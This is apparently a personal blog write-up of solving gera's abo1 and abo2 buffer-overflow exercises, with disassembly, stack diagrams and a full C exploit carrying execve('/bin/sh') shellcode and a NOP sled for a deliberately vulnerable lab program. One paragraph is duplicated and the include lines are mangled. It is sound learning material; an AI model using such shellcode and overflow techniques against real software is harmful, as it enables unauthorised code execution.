In the last couple of days, I've started shifting my focus towards exploitation.
Since I didn't know much about the subject I began by reading the classic "Smashing the Stack for Fun and Profit". After reading the article, in order to practice, I've started solving gera's abos.
Following is an explanation of the first two (I know this is outdated, but maybe it can be of interest to somebody).
abo1.c:
This is the code of a vulnerable main function:
int main(int argv,char **argc) {
char buf[256];
strcpy(buf,argc[1]);
}
The purpose here is to exploit main.
In order to achieve this, we can approximate the stack (after the return from
strcpy) to the following
higher address
...
&envp
&argv
argc
ret_addr
ebp
,----.
| 6 |
| 5 |
| 2 |
'----'
...
lower address
Since this is the first example, and since it is for learning purposes, we can
compile our vulnerable code with the following switches
- -fno-stack-protector to disable the generation of code to prevent
buffer-overflows by gcc
- -mpreferred-stack-boundary=2 (we will get to this point later)
Ok, let's take a look at the disassembly
0x080483c4: push ebp 0x080483c5 : mov ebp,esp 0x080483c7 : sub esp,0x10c 0x080483cd : mov eax,DWORD PTR [ebp+0xc] 0x080483d0 : add eax,0x4 0x080483d3 : mov eax,DWORD PTR [eax] 0x080483d5 : mov DWORD PTR [esp+0x4],eax 0x080483d9 : lea eax,[ebp-0x100] 0x080483df : mov DWORD PTR [esp],eax 0x080483e2 : call 0x80482f8 0x080483e7 : leave 0x080483e8 : ret
From what we have learned from Aleph1's "Smashing the Stack for Fun and Profit", we know that we want our buffer with the contents something like:
|NNNNNNN...SSSSS...AAAAAA|
where N stands for NOP instructions, S for our shellcode and A for an address
of any NOP instruction inside the buffer.
The real question here is finding the correct address to return to.
We will run our vulnerable executable with something like:
./vulnerable (in order to overwrite the value
of 'ret_addr' in the stack.
First we can run 'sp' (again from smashing the stack):
$./sp
0xbffff7e4
and now let's try running it with a big argument:
$ ./sp AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
0xbffff3e4
The output is different, and this can be explained since the arguments to sp
have changed (from nothing to a big string), and this too occupies space on the stack.
Let's take a look at our code:
of 'ret_addr' in the stack.
First we can run 'sp' (again from smashing the stack):
$./sp
0xbffff7e4
and now let's try running it with a big argument:
$ ./sp AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
0xbffff3e4
The output is different, and this can be explained since the arguments to sp
have changed (from nothing to a big string), and this too occupies space on the stack.
Let's take a look at our code:
#include#include #include #include #define BASE_ADDR 0xbffff7a4 //from the output of sp #define TARGET_SIZE 256 #define PADD 80 char shellcode[] = "\x31\xd2" /* xor %edx, %edx */ "\x52" /* push %edx */ "\x68\x6e\x2f\x73\x68" /* push $0x68732f6e */ "\x68\x2f\x2f\x62\x69" /* push $0x69622f2f */ "\x89\xe3" /* mov %esp, %ebx */ "\x52" /* push %edx */ "\x53" /* push %ebx */ "\x89\xe1" /* mov %esp, %ecx */ "\x6a\x0b" /* pushl $0xb */ "\x58" /* pop %eax */ "\xcd\x80"; /* int $0x80 */ int main(int argc, char *argv[], char *envp[]){ char *payload; char *payload_p; char *my_argv[3]; unsigned long addr; int i; int bsize = TARGET_SIZE + PADD; unsigned long *addr_p; if (!(payload = malloc(sizeof(char)*bsize))){ printf("failed to allocate memory\n"); exit(0); } addr = BASE_ADDR - TARGET_SIZE // local variable - bsize // argv + 70 // additional adjustments // from inspecting the core ; printf("using %x\n", addr); //fill the payload with desired return address: addr_p = (unsigned long *)payload; for(i = 0; i < bsize; i++){ *(addr_p++) = addr; } //nop sled at the beginning for(i = 0; i < bsize/2; i++) payload[i] = 0x90; //insert the shellcode into the payload payload_p = payload + (bsize/2 - strlen(shellcode)/2); for(i = 0; i < strlen(shellcode); i++) *(payload_p++) = shellcode[i]; //terminate the payload payload[bsize-1] = '\0'; my_argv[0] = "./vulnerable"; my_argv[1] = payload; my_argv[2] = NULL; execve(my_argv[0], my_argv, envp); printf("exploit failed\n"); exit(0); }
As you can see this is pretty much the same as the code in Smashing the Stack. And as you can see we take both the target buffer size, and the size of our argument to the vulnerable program into consideration when calculating the target address. One additional note, the 70 (additional adjustments) were made from examining the core dump (since we had gone a little bit further down the stack then we we're permited). As far as -mpreferred-stack-boundary=2 goes: Let's have a look at the same code compiled without it:
0x080483c4: lea ecx,[esp+0x4] 0x080483c8 : and esp,0xfffffff0 0x080483cb : push DWORD PTR [ecx-0x4] 0x080483ce : push ebp 0x080483cf : mov ebp,esp 0x080483d1 : push ecx 0x080483d2 : sub esp,0x114 0x080483d8 : mov eax,DWORD PTR [ecx+0x4] 0x080483db : add eax,0x4 0x080483de : mov eax,DWORD PTR [eax] 0x080483e0 : mov DWORD PTR [esp+0x4],eax 0x080483e4 : lea eax,[ebp-0x104] 0x080483ea : mov DWORD PTR [esp],eax 0x080483ed : call 0x80482f8 0x080483f2 : add esp,0x114 0x080483f8 : pop ecx 0x080483f9 : pop ebp 0x080483fa : lea esp,[ecx-0x4] 0x080483fd : ret
The prologue and epilogue of main have changed, let's analyze how this can affect our exploit: The prologue: - the address of argc is loaded into ecx - esp is 16-byte aligned ('and esp,0xfffffff0') - the return address is pushed onto the stack - ebp is saved - the address of argc is pushed onto the stack The epilogue: - the address of argc is poped into ecx - the ebp is restored - the address of the first pushed return address is loaded into esp - the function returns In this circumstance the stack would look something like &envp &argv argc ret_addr | at address X -16bytealignment- ret_addr ebp X local vars If we intend to exploit this setup, we would need our buffer to overflow the local variables reserved space, and in the next 4 bytes (where X resides) we would need to insert the address of a position inside our buffer, and in that same position we would need to have the address of a NOP (again, inside our buffer), so that eip would point correctly to our NOP sled. abo2.c: This is the code from abo2:
int main(int argv,char **argc) {
char buf[256];
strcpy(buf,argc[1]);
exit(1);
}
From what we know, in order to exploit this abo, the stack will have to look something like this (after the return from strcpy) &envp &argv argc ret_addr ebp ,----. | 6 | | 5 | | 2 | '----' with ret_addr holding one address inside the 256-byte buffer, so that when main returns, it will return to the buffer. However, if we look at the disassembly:
0x080483f4: push ebp 0x080483f5 : mov ebp,esp 0x080483f7 : sub esp,0x108 0x080483fd : mov eax,DWORD PTR [ebp+0xc] 0x08048400 : add eax,0x4 0x08048403 : mov eax,DWORD PTR [eax] 0x08048405 : mov DWORD PTR [esp+0x4],eax 0x08048409 : lea eax,[ebp-0x100] 0x0804840f : mov DWORD PTR [esp],eax 0x08048412 : call 0x804831c 0x08048417 : mov DWORD PTR [esp],0x1 0x0804841e : call 0x804832c
instead of ending with the usual leave/ret exit is called. Therefore the usual buffer overflow won't work in this particular example. After having solved the first 5 abos, I was shown the overthewire wargames, and I'm currently in level 4 of vortex, and it has been really fun.